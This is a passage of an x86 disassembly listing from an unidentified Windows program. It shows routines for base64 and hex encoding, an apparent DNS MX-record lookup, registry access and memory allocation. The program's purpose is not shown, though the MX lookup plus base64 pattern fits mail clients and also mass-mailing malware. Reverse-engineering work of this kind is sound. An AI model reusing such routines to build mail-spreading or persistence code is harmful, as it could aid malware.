arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jz	loc_40C48A
		mov	ebx, [ebp+arg_8]
		cmp	ebx, esi
		jz	loc_40C48A
		cmp	[ebp+arg_C], esi
		jz	loc_40C48A
		mov	eax, [ebp+arg_4]
		push	edi
		push	3
		cdq
		pop	ecx
		idiv	ecx
		push	4Ch
		pop	ecx
		xor	edi, edi
		push	13h
		mov	[ebp+var_4], esi
		shl	eax, 2
		mov	[ebp+var_14], edx
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], esi
		mov	[ebp+var_18], edx
		pop	eax
		jl	loc_40C41A
		mov	ecx, [ebp+arg_10]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_40C3A1:				; CODE XREF: sub_40C344+C7j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+var_4], ecx
		jnz	short loc_40C3B5
		mov	eax, [ebp+var_18]
		cdq
		and	edx, 3
		add	eax, edx
		sar	eax, 2


loc_40C3B5:				; CODE XREF: sub_40C344+63j
		cmp	eax, esi
		jle	short loc_40C3EE
		mov	[ebp+var_C], eax


loc_40C3BC:				; CODE XREF: sub_40C344+A8j
		push	3
		xor	ecx, ecx
		pop	edx


loc_40C3C1:				; CODE XREF: sub_40C344+8Cj
		mov	esi, [ebp+arg_0]
		movzx	esi, byte ptr [esi]
		or	ecx, esi
		inc	[ebp+arg_0]
		shl	ecx, 8
		dec	edx
		jnz	short loc_40C3C1
		push	4
		pop	esi


loc_40C3D5:				; CODE XREF: sub_40C344+A3j
		mov	edx, ecx
		shr	edx, 1Ah
		mov	dl, ds:byte_41C198[edx]
		mov	[ebx], dl
		inc	ebx
		shl	ecx, 6
		dec	esi
		jnz	short loc_40C3D5
		dec	[ebp+var_C]
		jnz	short loc_40C3BC


loc_40C3EE:				; CODE XREF: sub_40C344+73j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		lea	edi, [edi+eax*4]
		jnz	short loc_40C402
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		inc	edi
		inc	edi


loc_40C402:				; CODE XREF: sub_40C344+B2j
		inc	[ebp+var_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_8]
		jle	short loc_40C3A1
		cmp	edi, esi
		jz	short loc_40C41A
		cmp	[ebp+var_10], esi
		jnz	short loc_40C41A
		dec	ebx
		dec	ebx
		dec	edi
		dec	edi


loc_40C41A:				; CODE XREF: sub_40C344+4Ej
					; sub_40C344+CBj ...
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	short loc_40C424
		inc	eax
		jmp	short loc_40C426
; ---------------------------------------------------------------------------


loc_40C424:				; CODE XREF: sub_40C344+DBj
		xor	eax, eax


loc_40C426:				; CODE XREF: sub_40C344+DEj
		cmp	eax, esi
		jz	short loc_40C480
		xor	edx, edx
		xor	ecx, ecx


loc_40C42E:				; CODE XREF: sub_40C344+101j
		cmp	ecx, [ebp+var_14]
		jge	short loc_40C43E
		mov	esi, [ebp+arg_0]
		movzx	esi, byte ptr [esi]
		or	edx, esi
		inc	[ebp+arg_0]


loc_40C43E:				; CODE XREF: sub_40C344+EDj
		shl	edx, 8
		inc	ecx
		cmp	ecx, 3
		jl	short loc_40C42E
		test	eax, eax
		jle	short loc_40C461
		mov	esi, eax


loc_40C44D:				; CODE XREF: sub_40C344+11Bj
		mov	ecx, edx
		shr	ecx, 1Ah
		mov	cl, ds:byte_41C198[ecx]
		mov	[ebx], cl
		inc	ebx
		shl	edx, 6
		dec	esi
		jnz	short loc_40C44D


loc_40C461:				; CODE XREF: sub_40C344+105j
		add	edi, eax
		test	byte ptr [ebp+arg_10], 1
		jnz	short loc_40C480
		push	4
		pop	esi
		sub	esi, eax
		test	esi, esi
		jle	short loc_40C47E
		push	esi
		push	3Dh
		push	ebx
		call	sub_40CCD9
		add	esp, 0Ch


loc_40C47E:				; CODE XREF: sub_40C344+12Cj
		add	edi, esi


loc_40C480:				; CODE XREF: sub_40C344+E4j
					; sub_40C344+123j
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		mov	al, 1
		pop	edi
		jmp	short loc_40C48C
; ---------------------------------------------------------------------------


loc_40C48A:				; CODE XREF: sub_40C344+Dj
					; sub_40C344+18j ...
		xor	al, al


loc_40C48C:				; CODE XREF: sub_40C344+144j
		pop	esi
		pop	ebx
		leave
		retn
sub_40C344	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C490	proc near		; CODE XREF: sub_40C4D1+3Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short loc_40C4A0
		add	eax, 0FFFFFFBFh
		retn
; ---------------------------------------------------------------------------


loc_40C4A0:				; CODE XREF: sub_40C490+Aj
		lea	ecx, [eax-61h]
		cmp	ecx, 19h
		ja	short loc_40C4AC
		add	eax, 0FFFFFFB9h
		retn
; ---------------------------------------------------------------------------


loc_40C4AC:				; CODE XREF: sub_40C490+16j
		lea	ecx, [eax-30h]
		cmp	ecx, 9
		ja	short loc_40C4B8
		add	eax, 4
		retn
; ---------------------------------------------------------------------------


loc_40C4B8:				; CODE XREF: sub_40C490+22j
		cmp	eax, 2Bh
		jnz	short loc_40C4C1
		push	3Eh
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40C4C1:				; CODE XREF: sub_40C490+2Bj
		xor	ecx, ecx
		cmp	eax, 2Fh
		setnz	cl
		dec	ecx
		and	ecx, 40h
		dec	ecx
		mov	eax, ecx
		retn
sub_40C490	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4D1	proc near		; CODE XREF: sub_401FF5+80p
					; sub_4080EA+215p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		cmp	edi, eax
		jz	loc_40C56F
		cmp	[ebp+arg_8], eax
		jz	loc_40C56F
		cmp	[ebp+arg_C], eax
		jz	short loc_40C56F
		mov	ecx, [ebp+arg_4]
		push	ebx
		lea	ebx, [edi+ecx]
		cmp	edi, ebx
		mov	[ebp+var_4], eax
		jnb	short loc_40C562
		push	esi


loc_40C500:				; CODE XREF: sub_40C4D1+8Ej
		xor	edx, edx
		xor	esi, esi
		mov	[ebp+arg_0], edx


loc_40C507:				; CODE XREF: sub_40C4D1+5Ej
		cmp	edi, ebx
		jnb	short loc_40C531
		movsx	eax, byte ptr [edi]
		push	eax
		call	sub_40C490
		inc	edi
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C520
		dec	[ebp+arg_0]
		jmp	short loc_40C528
; ---------------------------------------------------------------------------


loc_40C520:				; CODE XREF: sub_40C4D1+48j
		shl	esi, 6
		or	esi, eax
		add	edx, 6


loc_40C528:				; CODE XREF: sub_40C4D1+4Dj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 4
		jl	short loc_40C507


loc_40C531:				; CODE XREF: sub_40C4D1+38j
		push	18h
		pop	ecx
		sub	ecx, edx
		mov	eax, edx
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		shl	esi, cl
		test	eax, eax
		jle	short loc_40C55D
		add	[ebp+var_4], eax


loc_40C54A:				; CODE XREF: sub_40C4D1+8Aj
		mov	edx, [ebp+arg_8]
		mov	ecx, esi
		shr	ecx, 10h
		shl	esi, 8
		inc	[ebp+arg_8]
		dec	eax
		mov	[edx], cl
		jnz	short loc_40C54A


loc_40C55D:				; CODE XREF: sub_40C4D1+74j
		cmp	edi, ebx
		jb	short loc_40C500
		pop	esi


loc_40C562:				; CODE XREF: sub_40C4D1+2Cj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	al, 1
		pop	ebx
		jmp	short loc_40C571
; ---------------------------------------------------------------------------


loc_40C56F:				; CODE XREF: sub_40C4D1+Cj
					; sub_40C4D1+15j ...
		xor	al, al


loc_40C571:				; CODE XREF: sub_40C4D1+9Cj
		pop	edi
		leave
		retn
sub_40C4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C574	proc near		; CODE XREF: sub_402624+27Ep
					; sub_405675+BAp

var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	0Fh
		push	[ebp+arg_0]
		mov	[ebp+var_1], bl
		mov	[ebp+var_8], ebx
		call	sub_4177E8
		test	eax, eax
		jl	loc_40C621
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_40C621
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		mov	edx, 0F4240h
		xor	esi, esi


loc_40C5B2:				; CODE XREF: sub_40C574+68j
		cmp	word ptr [eax+8], 0Fh
		jnz	short loc_40C5D8
		mov	ecx, [eax+18h]
		mov	[ebp+esi*4+var_108], ecx
		movzx	ecx, word ptr [eax+1Ch]
		cmp	ecx, edx
		jge	short loc_40C5CF
		mov	edx, ecx
		mov	edi, esi


loc_40C5CF:				; CODE XREF: sub_40C574+55j
		inc	esi
		cmp	esi, 100h
		jz	short loc_40C5DE


loc_40C5D8:				; CODE XREF: sub_40C574+43j
		mov	eax, [eax]
		cmp	eax, ebx
		jnz	short loc_40C5B2


loc_40C5DE:				; CODE XREF: sub_40C574+62j
		cmp	esi, ebx
		jle	short loc_40C615
		cmp	[ebp+arg_4], bl
		mov	[ebp+var_1], 1
		jz	short loc_40C605
		call	sub_40CF34
		dec	esi
		imul	eax, esi
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		mov	eax, [ebp+eax*4+var_108]
		jmp	short loc_40C60C
; ---------------------------------------------------------------------------


loc_40C605:				; CODE XREF: sub_40C574+75j
		mov	eax, [ebp+edi*4+var_108]


loc_40C60C:				; CODE XREF: sub_40C574+8Fj
		mov	ecx, [ebp+arg_8]
		push	eax
		call	sub_4012E7


loc_40C615:				; CODE XREF: sub_40C574+6Cj
		push	1
		push	[ebp+var_8]
		call	sub_4177E2
		pop	edi
		pop	esi


loc_40C621:				; CODE XREF: sub_40C574+25j
					; sub_40C574+30j
		mov	al, [ebp+var_1]
		pop	ebx
		leave
		retn
sub_40C574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C627	proc near		; CODE XREF: sub_402624+291p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	esi
		push	1
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_4177E8
		mov	ecx, [ebp+var_4]
		cmp	ecx, esi
		jz	short loc_40C688
		cmp	word ptr [ecx+8], 1
		jnz	short loc_40C688
		cmp	word ptr [ecx+0Ah], 4
		jb	short loc_40C688
		mov	eax, [ecx+18h]
		mov	esi, eax
		mov	edx, eax
		shr	edx, 10h
		and	esi, 0FF0000h
		or	esi, edx
		mov	edx, eax
		and	edx, 0FF00h
		shl	eax, 10h
		or	edx, eax
		push	1
		shr	esi, 8
		shl	edx, 8
		push	ecx
		or	esi, edx
		call	sub_4177E2
		jmp	short loc_40C696
; ---------------------------------------------------------------------------


loc_40C688:				; CODE XREF: sub_40C627+20j
					; sub_40C627+27j ...
		push	1
		push	[ebp+arg_0]
		call	sub_40DA32
		pop	ecx
		pop	ecx
		mov	esi, eax


loc_40C696:				; CODE XREF: sub_40C627+5Fj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40C627	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C69B	proc near		; CODE XREF: sub_40C6D8+30p
					; sub_40C731+24p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		mov	cl, al
		sub	cl, 30h
		cmp	cl, 9
		ja	short loc_40C6B0
		movsx	eax, al
		sub	eax, 30h
		retn
; ---------------------------------------------------------------------------


loc_40C6B0:				; CODE XREF: sub_40C69B+Cj
		push	esi
		xor	esi, esi


loc_40C6B3:				; CODE XREF: sub_40C69B+2Ej
		cmp	al, 41h
		jl	short loc_40C6BB
		cmp	al, 46h
		jle	short loc_40C6D0


loc_40C6BB:				; CODE XREF: sub_40C69B+1Aj
		movsx	eax, al
		push	eax
		call	sub_40CF1B
		inc	esi
		cmp	esi, 2
		pop	ecx
		jl	short loc_40C6B3
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C6D0:				; CODE XREF: sub_40C69B+1Ej
		movsx	eax, al
		sub	eax, 37h
		pop	esi
		retn
sub_40C69B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6D8	proc near		; CODE XREF: sub_409866+123p
					; sub_409866+131p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jg	short loc_40C6EA
		push	[esp+arg_0]
		call	sub_40CD83
		pop	ecx


loc_40C6EA:				; CODE XREF: sub_40C6D8+6j
		push	ebx
		push	esi
		lea	esi, [eax-1]
		xor	ebx, ebx
		test	esi, esi
		push	edi
		jl	short loc_40C726
		sub	eax, esi
		lea	edi, ds:0FFFFFFFCh[eax*4]


loc_40C6FF:				; CODE XREF: sub_40C6D8+4Cj
		mov	eax, [esp+0Ch+arg_0]
		movzx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_40C69B
		test	eax, eax
		pop	ecx
		jl	short loc_40C72C
		xor	edx, edx
		inc	edx
		mov	ecx, edi
		shl	edx, cl
		add	edi, 4
		imul	edx, eax
		add	ebx, edx
		dec	esi
		test	esi, esi
		jge	short loc_40C6FF


loc_40C726:				; CODE XREF: sub_40C6D8+1Cj
		mov	eax, ebx


loc_40C728:				; CODE XREF: sub_40C6D8+57j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C6D8+38j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C728
sub_40C6D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C731	proc near		; CODE XREF: sub_40C918+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	sub_40CD83
		mov	ebx, eax
		test	bl, 1
		pop	ecx
		jz	short loc_40C749
		xor	eax, eax
		jmp	short loc_40C79A
; ---------------------------------------------------------------------------


loc_40C749:				; CODE XREF: sub_40C731+12j
		push	esi
		xor	esi, esi
		test	ebx, ebx
		jbe	short loc_40C767


loc_40C750:				; CODE XREF: sub_40C731+34j
		movzx	eax, byte ptr [esi+edi]
		push	eax
		call	sub_40C69B
		test	eax, eax
		pop	ecx
		jl	short loc_40C79D
		mov	[esi+edi], al
		inc	esi
		cmp	esi, ebx
		jb	short loc_40C750


loc_40C767:				; CODE XREF: sub_40C731+1Dj
		shr	ebx, 1
		mov	edi, ebx
		push	edi
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		mov	[ecx], eax
		jbe	short loc_40C797
		mov	eax, [esp+0Ch+arg_0]
		inc	eax


loc_40C783:				; CODE XREF: sub_40C731+64j
		mov	dl, [eax-1]
		mov	ebx, [ecx]
		shl	dl, 4
		or	dl, [eax]
		mov	[esi+ebx], dl
		inc	esi
		inc	eax
		inc	eax
		cmp	esi, edi
		jb	short loc_40C783


loc_40C797:				; CODE XREF: sub_40C731+4Bj
		mov	eax, edi


loc_40C799:				; CODE XREF: sub_40C731+6Ej
		pop	esi


loc_40C79A:				; CODE XREF: sub_40C731+16j
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40C79D:				; CODE XREF: sub_40C731+2Cj
		xor	eax, eax
		jmp	short loc_40C799
sub_40C731	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7A1	proc near		; CODE XREF: sub_4099EF+70p
					; sub_40C965+1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		lea	esi, [ebx+ebx]
		lea	eax, [esi+1]
		push	edi
		push	eax
		call	sub_40D0BB
		and	[ebp+arg_4], 0
		test	ebx, ebx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edi, eax
		jbe	short loc_40C7F5


loc_40C7C7:				; CODE XREF: sub_40C7A1+52j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [ecx+eax]
		push	eax
		lea	eax, [ebp+var_4]
		push	offset a02x_0	; "%02X"
		push	eax
		call	sub_40CE18
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[edi], al
		mov	[edi+1], ah
		inc	edi
		inc	edi
		inc	[ebp+arg_4]
		cmp	[ebp+arg_4], ebx
		jb	short loc_40C7C7


loc_40C7F5:				; CODE XREF: sub_40C7A1+24j
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	byte ptr [esi+eax], 0
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C7A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C805	proc near		; DATA XREF: .rdata:off_41C1E0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_4012E7
		push	[esp+4+arg_4]
		lea	ecx, [esi+8]
		call	sub_4012E7
		mov	al, 1
		pop	esi
		retn	8
sub_40C805	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C826	proc near		; DATA XREF: .rdata:0041C1ECo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_41805C
		mov	esi, ecx
		push	dword ptr [esi+4]
		push	0
		push	[esp+14h+arg_0]
		push	dword ptr [esi+8]
		call	edi
		mov	ebx, [esp+0Ch+arg_4]
		mov	[ebx], eax
		push	dword ptr [esi+4]
		push	1
		push	[esp+14h+arg_0]
		push	dword ptr [esi+8]
		call	edi
		sub	eax, [ebx]
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		retn	8
sub_40C826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C860	proc near		; DATA XREF: .rdata:0041C1F0o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	offset aD	; "%d"
		push	eax
		mov	esi, ecx
		call	sub_40CE18
		mov	eax, [esi]
		add	esp, 0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C860	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C892	proc near		; DATA XREF: .rdata:0041C1F4o

var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 800h
		push	esi
		push	edi
		push	dword ptr [ecx+4]
		lea	eax, [ebp+var_800]
		push	800h
		push	eax
		mov	esi, offset dword_41BDD8
		push	esi
		push	[ebp+arg_0]
		push	dword ptr [ecx+8]
		call	ds:dword_41806C
		mov	edi, eax
		lea	eax, [ebp+var_800]
		push	esi
		push	eax
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40C8D7
		xor	al, al
		jmp	short loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C8D7:				; CODE XREF: sub_40C892+3Fj
		inc	edi
		push	edi
		call	sub_40D0BB
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	ecx, [ebp+var_800]
		push	ecx
		push	eax
		call	sub_40CD8E
		add	esp, 0Ch
		mov	al, 1


loc_40C8F5:				; CODE XREF: sub_40C892+43j
		pop	edi
		pop	esi
		leave
		retn	8
sub_40C892	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FB	proc near		; DATA XREF: .rdata:0041C1F8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [ecx+4]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [ecx+8]
		call	ds:dword_418068
		neg	eax
		sbb	eax, eax
		neg	eax
		retn	8
sub_40C8FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C918	proc near		; DATA XREF: .rdata:0041C1FCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+14h]
		test	al, al
		jnz	short loc_40C94C
		xor	bl, bl


loc_40C93C:				; CODE XREF: sub_40C918+4Bj
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C94C:				; CODE XREF: sub_40C918+20j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40C731
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		test	eax, eax
		mov	[ecx], eax
		setnbe	bl
		jmp	short loc_40C93C
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C965	proc near		; DATA XREF: .rdata:0041C200o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40C7A1
		mov	eax, [esi]
		add	esp, 0Ch
		push	[ebp+var_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	dword ptr [eax+18h]
		lea	ecx, [ebp+var_4]
		mov	bl, al
		call	sub_40DB59
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	0Ch
sub_40C965	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9A6	proc near		; CODE XREF: sub_402FCB+6Fp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		mov	dword ptr [esi], offset	off_41C1E0
		call	sub_40DB48
		lea	ecx, [esi+8]
		call	sub_40DB48
		mov	eax, esi
		pop	esi
		retn
sub_40C9A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9C3	proc near		; CODE XREF: sub_40C9DD+7p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	off_41C1E0
		call	sub_40DB59
		lea	ecx, [esi+4]
		pop	esi
		jmp	sub_40DB59
sub_40C9C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9DD	proc near		; DATA XREF: .rdata:0041C1E8o
		push	esi
		mov	esi, ecx
		test	esi, esi
		jz	short loc_40C9F0
		call	sub_40C9C3
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40C9F0:				; CODE XREF: sub_40C9DD+5j
		pop	esi
		retn
sub_40C9DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9F2	proc near		; CODE XREF: sub_4080EA+1ACp
					; sub_4080EA+205p

arg_0		= dword	ptr  4

		push	4
		push	3000h
		push	[esp+8+arg_0]
		push	0
		call	ds:dword_418058
		retn
sub_40C9F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA06	proc near		; CODE XREF: sub_4080EA+21Bp
					; sub_4080EA+256p

arg_0		= dword	ptr  4

		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	ds:dword_418054
		retn
sub_40CA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA18	proc near		; CODE XREF: sub_4013D5+22p
					; sub_401420+2Ep ...

arg_0		= dword	ptr  4

		call	ds:dword_41809C
		push	[esp+arg_0]
		push	8
		push	eax
		call	ds:dword_418050
		retn
sub_40CA18	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA2C	proc near		; CODE XREF: sub_402172+1Ap
					; sub_402B61+25p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, [esp+4+arg_4]
		push	edi
		push	esi
		call	sub_40CA18
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_40CA50
		push	esi
		push	0
		push	edi
		call	sub_40CCD9
		add	esp, 0Ch


loc_40CA50:				; CODE XREF: sub_40CA2C+16j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40CA2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA55	proc near		; CODE XREF: sub_402B61+1Bp
					; sub_403E3F+15p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	ds:dword_41809C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	8
		push	eax
		call	ds:dword_418048
		retn
sub_40CA55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6D	proc near		; CODE XREF: sub_4074FB+1A6p
					; sub_4074FB+1C6p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_40CA7A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CA7A:				; CODE XREF: sub_40CA6D+7j
		push	esi
		push	edi
		call	sub_40CD83
		inc	eax
		push	eax
		call	sub_40CA18
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40CA99
		push	edi
		push	esi
		call	sub_40CD8E
		pop	ecx
		pop	ecx


loc_40CA99:				; CODE XREF: sub_40CA6D+21j
		mov	eax, esi
		pop	esi
		pop	edi
		retn
sub_40CA6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA9E	proc near		; DATA XREF: .rdata:off_41C204o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ecx+4]
		lea	edx, [ebp+arg_4]
		push	edx
		push	eax
		xor	ecx, ecx
		push	ecx
		push	0F003Fh
		push	ecx
		push	offset dword_41BDD8
		push	ecx
		push	[ebp+arg_4]
		mov	[eax], ecx
		push	[ebp+arg_0]
		call	ds:dword_418004
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn	8
sub_40CA9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CACF	proc near		; CODE XREF: sub_40CC4E+9p
					; DATA XREF: .rdata:0041C208o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40CAE4
		push	eax
		call	ds:dword_418010
		and	dword ptr [esi+4], 0


loc_40CAE4:				; CODE XREF: sub_40CACF+8j
		pop	esi
		retn
sub_40CACF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAE6	proc near		; DATA XREF: .rdata:0041C210o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	4
		pop	eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+arg_0]
		push	dword ptr [ecx+4]
		call	ds:dword_418000
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn	8
sub_40CAE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB16	proc near		; DATA XREF: .rdata:0041C214o

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	4
		lea	eax, [esp+4+arg_4]
		push	eax
		push	4
		push	0
		push	[esp+10h+arg_0]
		push	dword ptr [ecx+4]
		call	ds:dword_418014
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	8
sub_40CB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB36	proc near		; DATA XREF: .rdata:0041C218o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ds:dword_418000
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+arg_0]
		mov	edi, ecx
